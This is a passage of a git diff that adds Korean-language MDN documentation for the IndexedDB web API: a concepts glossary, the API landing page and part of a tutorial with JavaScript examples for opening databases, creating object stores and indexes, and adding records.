한 transaction이 적용되는 object stores와 indexe. read-only transactions의 scope은 겹칠 수 있고 동시에 실행될 수 있다. 한편으로, writing transactions의 scope은 겹칠 수 없다. 당신은 여전히 동시에 같은 scope의 여러 transaction을 실행할 수 있지만 그들은 queue up하고 하나하나 차례로 실행된다.
+
cursor
+
한 key range의 여러 records에 대한 iterating을 위한 mechanism. The cursor는 그것이 iterating하는 것이 어느 index또는 object store인지 가리키는 한 source를 가진다. 그것은 그 range 내의 position을 가지고, record keys의 순서에서 증가 혹은 감소하는 한 방향으로 움직인다. cursors에 대한 reference documentation을 위해, IDBCursor 또는 IDBCursorSync를 보라.
+
key range
+
+

keys를 위해 사용되는 몇몇 data type에 대한 하나의 연속 구간. Records는 keys 또는 하나의 range of keys를 사용하는 object sotres와 indexes로부터 조회될 수 있다. 당신은 lower 그리고 upper bound를 사용해서 range를 제한하거나 걸러낼 수 있다. 예를 들어, 당신은 x와 y 사이의 한 key의 모든 값에 대해 iterate할 수 있다.

+ +

key range에 대한 reference documentation을 위해, IDBKeyRange를 보라.

+
+
+ +

한계점들

+ +

IndexedDB는 client-side storage가 필요한 대부분의 경우를 해결하기 위해 만들어졌다. 하지만 그것은 다음과 같은 몇 가지 경우를 해결하진 못 한다:

+ + + +

덧붙여서, 다음과 같은 조건에서 브라우저가 데이터베이스를 지울 수 있음을 알아두라:

+ + + +

실제 환경과 브라우저 호환성은 시간에 따라 변하지만, 브라우저 제조사의 기본 철학은 가능한한 데이터를 유지하는 데에 최대한 노력하는 것이다.

+ +

Next steps

+ +

자 이제 이들 지식을 가지고서 , 우리는 더 큰 것들을 가질 수 있게 되었다.the API 사용법에 대한 튜토리얼을 위해서, Using IndexedDB를 보라.

+ +

함께 보기

+ +

 

+ + + +

 

diff --git a/files/ko/web/api/indexeddb_api/index.html b/files/ko/web/api/indexeddb_api/index.html new file mode 100644 index 0000000000..4b9e381843 --- /dev/null +++ b/files/ko/web/api/indexeddb_api/index.html @@ -0,0 +1,157 @@ +--- +title: IndexedDB +slug: Web/API/IndexedDB_API +tags: + - API + - Advanced + - Database + - IndexedDB + - Landing + - Reference + - Storage +translation_of: Web/API/IndexedDB_API +--- +
{{DefaultAPISidebar("IndexedDB")}}
+ +

IndexedDB는 파일이나 블롭 등 많은 양의 구조화된 데이터를 클라이언트에 저장하기 위한 로우 레벨 API입니다. IndexedDB API는 인덱스를 사용해 데이터를 고성능으로 탐색할 수 있습니다. Web Storage는 적은 양의 데이터를 저장하는데 유용하지만 많은 양의 구조화된 데이터에는 적합하지 않은데, 이런 상황에서 IndexedDB를 사용할 수 있습니다. 이 페이지는 MDN에서 IndexedDB에 대한 내용을 다루는 시작 문서로 전체 API 참고서, 사용 안내서, 세부적인 브라우저 지원 상황, 그리고 핵심 개념에 대한 설명을 제공하는 링크를 찾을 수 있습니다.

+ +

{{AvailableInWorkers}}

+ +
+

참고: IndexedDB API는 강력하지만, 간단하게 사용하기엔 좀 복잡해 보일 수 있습니다. 보다 단순한 API를 선호한다면, IndexDB를 좀 더 프로그래머 친화적으로 만들어주는 localForage, dexie.js, ZangoDB, PouchDB, idb, idb-keyval, JsStore 같은 라이브러리를 알아보세요.

+
+ +

핵심 개념과 사용

+ +

IndexedDB는 SQL을 사용하는 관계형 데이터베이스(RDBMS)와 같이 트랜잭션을 사용하는 데이터베이스 시스템입니다. 그러나 IndexedDB는 RDBMS의 고정컬럼 테이블 대신 JavaScript 기반의 객체지향 데이터베이스입니다. IndexedDB의 데이터는 인덱스 를 사용해 저장하고 회수할 수 있으며, 구조화된 복사 알고리즘을 지원하는 객체라면 모두 저장할 수 있습니다. 사용하려면 데이터베이스 스키마를 지정하고, 데이터베이스와 통신을 연 후에, 일련의 트랜잭션을 통해 데이터를 가져오거나 업데이트해야 합니다.

+ + + +
+

참고: 대부분의 웹 저장 솔루션처럼, IndexedDB도 동일 출처 정책을 따릅니다. 그렇기 때문에, 저장한 데이터는 같은 도메인에서만 접근할 수 있으며 다른 도메인에서는 접근할 수 없습니다.

+
+ +

동기와 비동기

+ +

IndexedDB 작업은 애플리케이션 블록을 방지하기 위해 모두 비동기로 이뤄집니다. 이전엔 동기적 API와 비동기적 API 모두 있었으며, 동기적 API는 웹 워커에서만 사용할 용도였습니다. 그러나 그 필요성에 대한 의문으로 인해 명세에서 제거된 상황입니다. 다만 충분한 수요가 있다면 동기적 API가 미래에 다시 추가될 수도 있습니다.

+ +

저장 용량 한도와 제거 기준

+ +

하나의 종류 또는 다른 종류의 데이터를 클라이언트 측(즉, 로컬 디스크 상)에 저장하는 웹 기술은 많습니다. IndexedDB는 가장 일반적으로 언급되는 것입니다. 브라우저가 얼마만큼의 공간을 web data storage에 할당할지 그리고 용량이 한계에 도달했을 때 무엇을 지울지의 프로세스는 간단하지 않고, 브라우저마다 다릅니다. 브라우저 저장 공간 제한과 퇴거 기준을 Firefox의 경우 이 작동 방식을 설명하려고 시도합니다.

+ +

인터페이스

+ +

To get access to a database, call open() on the indexedDB attribute of a window object. This method returns an {{domxref("IDBRequest")}} object; asynchronous operations communicate to the calling application by firing events on {{domxref("IDBRequest")}} objects.

+ +

데이터베이스 연결

+ +
+
{{domxref("IDBEnvironment")}}
+
Provides access to IndexedDB functionality. It is implemented by the {{domxref("window")}} and {{domxref("worker")}} objects. This interface isn't part of the 2.0 specification.
+
{{domxref("IDBFactory")}}
+
Provides access to a database. This is the interface implemented by the global object indexedDB and is therefore the entry point for the API.
+
{{domxref("IDBOpenDBRequest")}}
+
Represents a request to open a database.
+
{{domxref("IDBDatabase")}}
+
Represents a connection to a database. It's the only way to get a transaction on the database.
+
+ +

데이터 가져오기 및 수정하기

+ +
+
{{domxref("IDBTransaction")}}
+
Represents a transaction. You create a transaction on a database, specify the scope (such as which object stores you want to access), and determine the kind of access (read only or readwrite) that you want.
+
{{domxref("IDBRequest")}}
+
Generic interface that handles database requests and provides access to results.
+
{{domxref("IDBObjectStore")}}
+
Represents an object store that allows access to a set of data in an IndexedDB database, looked up via primary key.
+
{{domxref("IDBIndex")}}
+
Also allows access to a subset of data in an IndexedDB database, but uses an index to retrieve the record(s) rather than the primary key. This is sometimes faster than using {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBCursor")}}
+
Iterates over object stores and indexes.
+
{{domxref("IDBCursorWithValue")}}
+
Iterates over object stores and indexes and returns the cursor's current value.
+
{{domxref("IDBKeyRange")}}
+
Defines a key range that can be used to retrieve data from a database in a certain range.
+
{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}
+
Defines a key range that can be used to retrieve data from a database in a certain range, sorted according to the rules of the locale specified for a certain index (see createIndex()'s optionalParameters.). This interface isn't part of the 2.0 specification.
+
+ +

사용자 지정 이벤트 인터페이스

+ +

This specification fires events with the following custom interface:

+ +
+
{{domxref("IDBVersionChangeEvent")}}
+
The IDBVersionChangeEvent interface indicates that the version of the database has changed, as the result of an {{domxref("IDBOpenDBRequest.onupgradeneeded")}} event handler function.
+
+ +

폐기된 인터페이스

+ +

An early version of the specification also defined these now removed interfaces. They are still documented in case you need to update previously written code:

+ +
+
{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}
+
Represents a request to change the version of a database. The way to change the version of the database has since changed (by calling {{domxref("IDBFactory.open")}} without also calling {{domxref("IDBDatabase.setVersion")}}), and the interface {{domxref("IDBOpenDBRequest")}} now has the functionality of the removed {{domxref("IDBVersionChangeRequest")}}.
+
{{domxref("IDBDatabaseException")}} {{obsolete_inline}}
+
Represents exception conditions that can be encountered while performing database operations.
+
{{domxref("IDBTransactionSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBTransaction")}}.
+
{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBIndexSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBIndex")}}.
+
{{domxref("IDBFactorySync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBFactory")}}.
+
{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBEnvironment")}}.
+
{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBDatabase")}}.
+
{{domxref("IDBCursorSync")}} {{obsolete_inline}}
+
Sync version of {{domxref("IDBCursor")}}.
+
+ +

예제

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("IndexedDB 2")}}{{Spec2("IndexedDB 2")}}
{{SpecName('IndexedDB')}}{{Spec2('IndexedDB')}}Initial definition
+ +

같이 보기

+ + diff --git a/files/ko/web/api/indexeddb_api/using_indexeddb/index.html b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html new file mode 100644 index 0000000000..13fe4e6ea4 --- /dev/null +++ b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html @@ -0,0 +1,1325 @@ +--- +title: IndexedDB 사용하기 +slug: Web/API/IndexedDB_API/Using_IndexedDB +translation_of: Web/API/IndexedDB_API/Using_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +

IndexedDB는 사용자의 브라우저에 데이터를 영구적으로 저장할 수 있는 방법 중 하나입니다. IndexedDB를 사용하여 네트워크 상태에 상관없이 풍부한 쿼리 기능을 이용할 수 있는 웹 어플리케이션을 만들 수 있기 때문에, 여러분의 웹 어플리케이션은 온라인과 오프라인 환경에서 모두 동작할 수 있습니다. 

+ +

이 문서에 대하여

+ +

여러분은 이 튜토리얼에서 IndexedDB의 비동기 방식(asynchronous) API에 대해 훑어볼 수 있습니다. 만약 IndexedDB가 생소하다면, Basic Concepts About IndexedDB 를 먼저 읽어보는 것이 좋습니다.

+ +

IndexedDB API에 대한 참조(reference) 문서를 원한다면, IndexedDB 항목과 하위 페이지를 보십시오. 이 문서에서는 IndexedDB에서 사용되는 객체의 종류와, 동기식(synchrounous), 비동기식(asynchronous) API에 대해서 기술하고 있습니다.

+ +

기본 패턴

+ +

IndexedDB가 권장하는 기본 패턴은 다음과 같습니다:

+ +
    +
  1. 데이터베이스를 엽니다.
  2. +
  3. 객체 저장소(Object store)를 생성합니다. 
  4. +
  5. 트랜젝션(Transaction)을 시작하고, 데이터를 추가하거나 읽어들이는 등의 데이터베이스 작업을 요청합니다.
  6. +
  7. DOM 이벤트 리스너를 사용하여 요청이 완료될때까지 기다립니다.
  8. +
  9. (요청 객체에서 찾을 수 있는) 결과를 가지고 무언가를 합니다.
  10. +
+ +

그러면 이제, 이런 큰 개념을 익히면 더 구체적인 것을 할 수 있습니다.

+ +

저장소를 생성하고 구성하기

+ +

Indexed DB 의 실험적인 버전을 사용해보기

+ +

접두어를 사용하는 브라우저에서 코드를 테스트하려는 경우 다음 코드를 사용할 수 있습니다.

+ +
// In the following line, you should include the prefixes of implementations you want to test.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// DON'T use "var indexedDB = ..." if you're not in a function.
+// Moreover, you may need references to some window.IDB* objects:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+// (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)
+ +

접두어를 사용하여 구현하는 것은 버그가 있거나 불완전하거나 이전 버전의 사양을 따르는 경우가 있습니다. 따라서 프로덕션 상태의 코드에선 사용하지 않는 것을 권장합니다. 제대로 지원하지 않는 브라우저를 지원하게 구현하여 실패하는 것보다 미지원 하는 것이 바람직할 수 있습니다.:

+ +
if (!window.indexedDB) {
+    window.alert("Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.")
+}
+
+ +

데이터베이스 열기

+ +

우리는 밑의 프로그래밍 코드로 시작할 것입니다:

+ +
// 내 데이터 베이스를 열도록 요청하자
+var request = window.indexedDB.open("MyTestDatabase");
+
+ +

보셨나요? 데이터베이스 접속은 다른 operation 들과 비슷합니다 — 당신은 "요청(request)" 하면 됩니다.

+ +

open 요청은 데이터베이스를 즉시 열거나 즉시 트랜잭션을 시작하지 않습니다.  open() 함수를 호출하면 이벤트로 처리한 결과(성공 상태)나 오류 값이 있는 IDBOpenDBRequest 객체를 반환합니다. IndexedDB의 다른 비동기 함수 대부분은 결과 또는 오류가 있는 IDBRequest 객체를 반환합니다. open() 함수의 결과는 IDBDatabase 의 인스턴스입니다.

+ +

open 메소드의 두번째 매개 변수는 데이터베이스의 버전입니다. 데이터베이스의 버전은 데이터베이스 스키마를 결정합니다. 데이터베이스 스키마는 데이터베이스 안의 객체 저장소와 그것들의 구조를 결정합니다. 데이터베이스가 아직 존재하지 않으면, open operation에 의해 생성되고, 그 다음 onupgradeneeded  이벤트가 트리거되고 이 이벤트 안에서 데이터베이스 스키마를 작성합니다. 데이터베이스가 존재하지만 업그레이드 된 버전 번호를 지정하는 경우 onupgradeneeded 이벤트가 트리거되고 해당 핸들러에 업데이트된 스키마를 제공할 수 있습니다. 자세한 내용은 나중에 아래의 데이터베이스의 버전 업데이트와 {{ domxref("IDBFactory.open") }} 페이지를 참조하십시오. 

+ +
+

중요: 버전 번호는 unsigned long long 숫자입니다. 이는 버전 번호는 매우 큰 정수가 되어야한다는 의미입니다. 또한 부동 소수점을 사용할 수 없다는 것을 의미합니다. 그렇지 않으면 가장 가까운 정수로 변환되어 트랜잭션이 시작되지 않거나 upgradeneeded 이벤트가 트리거 되지 않습니다. 예를 들어, 2.4와 같은 버전 번호를 사용하지 마십시오:
+ var request = indexedDB.open("MyTestDatabase", 2.4); // don't do this, as the version will be rounded to 2

+
+ +

제어 객체 생성

+ +

첫번째로 당신이 하려는 모든 요청에 대해 성공했을 때 그리고 에러가 발생했을 때 제어를 할 객체를 요청해야 됩니다:

+ +
request.onerror = function(event) {
+  // request.errorCode 에 대해 무언가를 한다!
+};
+request.onsuccess = function(event) {
+  // request.result 에 대해 무언가를 한다!
+};
+ +

onsuccess() 또는 onerror() 두 함수 중 어떤 함수가 호출될까요? 모든 것이 성공하면, success 이벤트 (즉, type 속성이"success" 로 설정된 DOM 이벤트)가 request를 target으로 발생합니다. 일단 실행되면, request 의 onsuccess() 함수는 success 이벤트를 인수로 트리거됩니다. 반면, 문제가 있는 경우, 오류 이벤트 (즉 type 속성이"error" 로 설정된 DOM 이벤트)는 request에서 발생합니다. 이 오류 이벤트를 인수로 onerror() 함수가 트리거됩니다.

+ +

The IndexedDB API는 오류 처리의 필요성을 최소화하도록 설계되었기 때문에 많은 오류 이벤트를 볼 수는 없을 것입니다. (적어도 API에 익숙하지 않은 경우). 그러나 데이터베이스를 여는 경우 오류 이벤트를 발생하는 몇 가지 일반적인 조건이 있습니다. 가장 많은 문제는 사용자가 웹 응용 프로그램에 데이터베이스를 만들 수 있는 권한을 주지 않기로 결정한 것입니다. IndexedDB의 주요 설계 목표 중 하나는 많은 양의 데이터를 오프라인에서 사용할 수 있도록 하는 것입니다. (각 브라우저에서 저장할 수 있는 저장 용량에 대한 자세한 내용은 Storage limits 를 참조하십시오.)  

+ +

일부 광고 네트워크나 악의적인 웹 사이트가 컴퓨터를 오염시키는 것을 브라우저는 원하지 않기 때문에 브라우저는 특정 웹 응용 프로그램이 처음으로 저장용 IndexedDB를 열려고 할 때 사용자에게 메시지를 보냅니다. 사용자가 액세스를 허용하거나 거부할 수 있습니다. 또한, 개인정보 보호 모드의 브라우저에서 IndexedDB 공간은 시크릿 세션이 닫힐 때까지 메모리 내에서만 지속됩니다. (Firefox의 개인정보 보호 브라우징 모드와 Chrome 의 시크릿 모드가 있지만, Firefox 의 경우 2015년 11월 현재 아직 미구현({{Bug("781982")}} 참조)이므로, 개인정보 보호 브라우징 모드의 Firefox에서는 IndexedDB를 사용할 수 없습니다).

+ +

이제, 사용자가 데이터베이스 생성 요청을 허용하여 success 콜백을 트리거하는 success 이벤트를 받았다고 가정합니다; 그 다음은 무엇을 해야할까요? 이 요청은 indexedDB.open()을 호출하여 생성되었고, request.result 는 IDBDatabase 의 인스턴스이므로, 이후에 이것을 사용하기 위해 저장하기 원할 것은 확실합니다. 코드는 다음과 같이 할 수 있습니다:

+ +
var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Why didn't you allow my web app to use IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = request.result;
+};
+
+ +

에러 처리

+ +

위에서 언급한 바와 같이, 오류 이벤트는 버블링됩니다. 오류 이벤트는 오류를 생성한 request를 대상으로하며, 이벤트는 트랜잭션으로 버블링되고, 마지막으로 데이터베이스 객체로 버블링됩니다. 모든 요청에 에러 처리를 피하고 싶은 경우, 아래와 같이 하나의 오류 핸들러를 데이터베이스 객체에 추가하여 대신할 수 있습니다:

+ +
db.onerror = function(event) {
+  // Generic error handler for all errors targeted at this database's
+  // requests!
+  alert("Database error: " + event.target.errorCode);
+};
+
+ +

데이터베이스를 열 때 자주 발생하는 오류 중 하나가 VER_ERR가 있습니다. 이는 디스크에 저장된 데이터베이스의 버전이 현재 코드에서 지정된 버전 번호보다 큼을 나타냅니다. 이 오류는 항상 오류 처리기에서 처리해야합니다.

+ +

데이터베이스의 버전 생성 또는 업데이트

+ +

새로운 데이터베이스를 만들거나 기존 데이터베이스의 버전 번호를 높일 때({{ anch("데이터베이스 열기") }}시, 이전 버전보다 높은 버전 번호를 지정하면), onupgradeneeded 가 트리거되고 request.result(즉, 아래의 예제 : db)에 설정된 onversionchange 이벤트 핸들러에 IDBVersionChangeEvent 객체가 전달됩니다. upgradeneeded 이벤트 처리기에서 이 버전의 데이터베이스에 필요한 객체 저장소를 만들어야합니다:

+ +
// This event is only implemented in recent browsers
+request.onupgradeneeded = function(event) {
+  // Save the IDBDatabase interface
+  var db = event.target.result;
+
+  // Create an objectStore for this database
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};
+
+ +

이 경우 데이터베이스에는 이전 버전의 데이터베이스에 있는 객체 저장소가 이미 있으므로, 이전 버전의 객체 저장소를 다시 만들 필요가 없습니다. 여러분은 새로운 객체 저장소를 만들거나 더 이상 필요하지 않은 이전 버전의 객체 저장소만 삭제하면 됩니다. 기존 객체 저장소를 변경(예, keyPath를 변경) 해아 하는 경우, 이전 객체 저장소를 삭제하고 새 옵션으로 다시 만들어야합니다. (이것은 객체 저장소의 정보를 삭제하니 주의하십시오! 해당 정보를 보존해야하는 경우 데이터베이스를 업그레이드하기 전에 해당 정보를 읽고 다른 곳에 저장해야 합니다.)

+ +

이미 존재하는 이름으로 객체 저장소를 만들려고 하면 (또는 존재하지 않는 객체 저장소를 삭제하려고 하면) 오류가 발생합니다. 

+ +

onupgradeneeded 이벤트가 성공적으로 끝나면, 데이터베이스 열기 요청의 onsuccess 핸들러가 트리거 됩니다. 

+ +

Chrome 23+ 및 Opera 17+ 의 Blink/Webkit은 현재 버전의 스펙을 지원합니다. IE10+ 마찬가지입니다. 다른 구현체 또는 구형 구현체는 아직 스펙의 현재 버전을 구현하지 않으므로 indexedDB.open(name, version).onupgradeneeded 서명을 지원하지 않습니다. 이전 Webkit/Blink에서 데이터베이스 버전을 업그레이드하는 방법에 대한 자세한 내용은 IDBDatabase reference article 를 참조하십시오.

+ +

데이터베이스 구성

+ +

이제 데이터베이스를 구축합니다. IndexedDB는 테이블이 아닌 객체 저장소를 사용하며 하나의 데이터베이스는 여러 개의 객체 저장소를 포함할 수 있습니다. 값을 객체 저장소에 저장할 때마다 값은 키와 연관됩니다. 객체 저장소가 키 경로 또는 키 생성기 옵션의 사용 여부에 따라 키를 제공할 수 있는 여러 가지 방법이 있습니다.

+ +

다음 표는 키가 제공되는 다양한 방법을 보여줍니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
키 경로 (keyPath)키 생성기 (autoIncrement)Description
NoNo이 객체 저장소는 숫자 및 문자열과 같은 원시 값을 포함한 모든 종류의 값을 보유 할 수 있습니다. 새 값을 추가 할 때 마다 별도의 키 인수를 공급해야합니다.
YesNo이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 객체에는 키 경로와 같은 이름의 속성이 있어야합니다.
NoYes이 객체 저장소는 모든 종류의 값을 보유할 수 있습니다. 키가 자동으로 생성됩니다. 또한 특정 키를 사용하려는 경우 별도의 키 인수를 공급할 수 있습니다.
YesYes이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 일반적으로 키가 자동으로 생성되고 생성된 키의 값은 키 경로와 동일한 이름을 가진 속성의 객체에 저장됩니다. 그러나 그러한 속성이 이미 존재하는 경우, 새로운 키를 생성하는 것이 아닌 속성의 값을 키로 사용됩니다.
+ +

객체 저장소가 기본이 아닌 객체를 보유하고 있으면 객체 저장소에서 인덱스를 만들 수 있습니다. 인덱스를 사용하면 객체의 키가 아닌 저장된 객체의 속성 값을 사용하여 객체 저장소에 저장된 값을 검색할 수 있습니다.

+ +

또한, 인덱스에는 저장된 데이터에 대한 간단한 제약 조건을 적용 할 수 있는 기능이 있습니다. 인덱스를 작성할 때 고유(unique) 플래그를 설정하면, 인덱스는 인덱스의 키 경로에 대해 동일한 값을 갖는 두 개의 객체가 저장되지 않도록 보장합니다. 따라서 예를 들자면, 사람 집단을 보유하고 있는 객체 저장소가 있고, 두 사람이 동일한 email 주소를 갖지 못 한다는 것을 보장하려는 경우, 이를 강제하기 위해 고유(unique) 플래그 설정한 인덱스를 사용하면 됩니다.

+ +

이 부분은 혼란스러울 수도 있으므로 간단한 예제를 들어 설명하겠습니다. 먼저, 다음의 예에서 사용할 고객 데이터를 정의하겠습니다:

+ +
// This is what our customer data looks like.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+ +

물론, 모든 사람이 사회 보장 번호(ssn)를 가지지 않기 때문에 ssn을 기본 키(primary key)로 지정하지 않을겁니다. 그리고 나이를 저장하는 대신 주로 생년월일을 저장하겠지만, 이러한 점은 편의를 위해 무시하고 지나가겠습니다. 

+ +

이제 자료를 저장하기 위해 indexedDB를 생성하는 과정을 보겠습니다:

+ +
const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore to hold information about our customers. We're
+  // going to use "ssn" as our key path because it's guaranteed to be
+  // unique - or at least that's what I was told during the kickoff meeting.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Create an index to search customers by name. We may have duplicates
+  // so we can't use a unique index.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Create an index to search customers by email. We want to ensure that
+  // no two customers have the same email, so use a unique index.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Use transaction oncomplete to make sure the objectStore creation is
+  // finished before adding data into it.
+  objectStore.transaction.oncomplete = function(event) {
+    // Store values in the newly created objectStore.
+    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
+    customerData.forEach(function(customer) {
+      customerObjectStore.add(customer);
+    });
+  };
+};
+ +

이전에 적었듯이, onupgradeneeded 는 데이터베이스의 구조를 변경할 수 있는 곳에 위치해야합니다. 이 이벤트 안에서 객체 저장소를 만들거나 삭제하고, 인덱스를 만들거나 지울 수 있습니다.

+ +

객체 저장소는 createObjectStore()를 한번 호출함으로써 생성됩니다. 이 메소드는 저장소의 이름과 파라미터 객체를 인자로 받습니다. 파라미터 객체는 선택적으로 사용할 수 있지만, 이는 중요한 설정들을 정의하고 만들고자하는 객체 저장소의 타입을 정의하기 때문에 매우 중요합니다. 이번 예시에서, 우리는 객체 저장소의 이름을 "customers"로 짓고 개별 객체들이 유일하게 저장되도록 만들어주는 특성인 keyPath를 정의합니다. 그리고 사회 보장 번호(ssn)는 고유함이 보장되기 때문에, keyPath로 예제의 ssn 프로퍼티를 사용하며 ssn은 objectStore 에 저장되는 모든 객체에 반드시 포함되어야 합니다.
+ 우리는 또한 저장된 객체의 name 프로퍼티를 찾기 위한 인덱스 "name"을 요청합니다.
+ 또한 createObjectStore()createIndex() 도 생성하려는 인덱스의 종류를 결정하는 선택적인 객체인 options 을 인자로 받습니다. name 프로퍼티가 없는 객체를 추가할 수는 있지만, 이 경우 그 객체는 "name" 인덱스에 나타나지 않습니다.

+ +

이제 우리는 저장된 customer 객체를 가져오기 위해 ssn 을 이용하여 객체 저장소로부터 바로 가져오거나, 인덱스에서 그들의 이름을 이용해 가져올 수 있습니다. 이 과정이 어떻게 이루어지는지 배우기 위해, using an index 섹션을 확인할 수 있습니다.

+ +

키 생성기 사용하기

+ +

객체 저장소를 생성할 때 autoIncrement 플래그를 설정함으로써 키 생성기를 활성화할 수 있습니다. 기본값으로 이 플래그는 설정되지 않습니다.

+ +

키 생성기가 활성화되면, 객체 저장소에 값을 추가할 때 키가 자동으로 추가됩니다. 처음 생성되면 키 생성기의 값은 항상 1로 설정되고, 새로 생성되는 키는 기본적으로 이전 키에서 1을 더한 값이 됩니다. 키 생성기의 값은 트랜잭션이 취소되는 등 데이터베이스 작업이 복구되는게 아닌 한 절대 작아지지 않습니다. 그래서 레코드를 지우거나 객체 저장소의 모든 레코드를 지우더라도 해당 객체 저장소의 키 생성기에는 영향을 끼치지 않습니다.

+ +

우리는 아래와 같이 키 생성기와 함께 객체 저장소를 생성할 수 있습니다:

+ +
// Open the indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+
+    var db = event.target.result;
+
+    // Create another object store called "names" with the autoIncrement flag set as true.
+    var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+    // Because the "names" object store has the key generator, the key for the name value is generated automatically.
+    // The added records would be like:
+    // key : 1 => value : "Bill"
+    // key : 2 => value : "Donna"
+    customerData.forEach(function(customer) {
+        objStore.add(customer.name);
+    });
+};
+ +

키 생성기와 관련된 보다 많은 정보는 "W3C Key Generators" 를 참고해 주십시오.

+ +

데이터 추가, 검색 및 제거

+ +

새 데이터베이스에서 작업을 하기전에, 트랜잭션을 시작할 필요가 있습니다. 트랜잭션은 데이터베이스 객체 단위로 작동하므로 트랜잭션을 사용할 객체 저장소를 지정해줘야합니다. 트랜잭션에 들어오고 나면, 자료가 있는 객체 저장소에 접근할 수 있고 요청을 만들 수 있습니다. 다음으로, 데이터베이스에 변경점을 만들지, 혹은 읽기만 할지 결정해야합니다. 트랜잭션은 다음의 3가지 모드가 있습니다: readonlyreadwrite, 그리고 versionchange.

+ +

객체 저장소나 인덱스를 만들거나 삭제하는 작업을 포함하여 데이터베이스의 "schema"나 구조를 변경하기 위해서 트랜잭션은 반드시 versionchange 여야 합니다. 이 트랜잭션은 {{domxref("IDBFactory.open")}} 메소드를 version 과 함께 호출할 경우 시작됩니다. (최신 사양이 구현되지 않은 WebKit 브라우저에서는 {{domxref("IDBFactory.open")}} 메소드는 데이터베이스의 이름(name) 하나만 인자로 받습니다. 따라서 versionchange 트랜잭션을 수립하기 위해서 {{domxref("IDBVersionChangeRequest.setVersion")}} 를 호출해야 합니다.)

+ +

이미 존재하는 객체 저장소의 레코드를 읽기 위해서 트랜잭션은 readonly 혹은 readwrite 모드이면 됩니다. 이미 존재하는 객체 저장소에 변경점을 기록하기 위해서는 트랜잭션이 반드시 readwrite 모드여야합니다. 특정 트랜잭션은 {{domxref("IDBDatabase.transaction")}} 으로 열 수 있습니다. 이 메소드는 접근하고 싶은 객체 저장소들의 배열로 정의된 범위인 storeNames와 트랜잭션의 모드mode (readonly 혹은 readwrite), 2개의 인자를 받습니다. 이 메소드는 객체 저장소에 접근할 수 있는 {{domxref("IDBIndex.objectStore")}} 메소드를 포함한 트랜잭션 객체를 반환합니다. 모드가 지정되지 않는다면 기본적으로 트랜잭션은 readonly 모드로 열립니다.

+ +
+

Note: As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}.) Previously in a readwrite transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the complete event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The completeevent may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further. If you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see {{domxref("IDBDatabase.transaction")}}.

+
+ +

트랜잭션에서 적합한 범위와 모드를 사용함으로써 자료 접근을 빠르게 할 수 있습니다. 여기 두개의 팁이 있습니다:

+ + + +

데이터베이스에 데이터 추가

+ +

데이터베이스를 만들었다면, 데이터를 추가하고 싶을겁니다. 데이터 추가는 이렇게 할 수 있습니다:

+ +
var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);
+ +

transaction() 함수는 2개(1개는 옵션)의 인자를 받고 트랜잭션 객체를 반환합니다. 첫번째 인자는 트랜잭션이 확장될 객체 저장소의 목록입니다. 모든 객체 저장소에 대해 트랜잭션을 확장하고 싶다면 빈 배열을 넘겨줄 수 있습니다. 두번째 인자로 아무것도 넘기지 않는다면, 읽기 전용 트랜잭션이 반환됩니다. 쓰기 작업을 하고 싶다면, readwrite 플래그를 넘겨줘야 합니다.

+ +

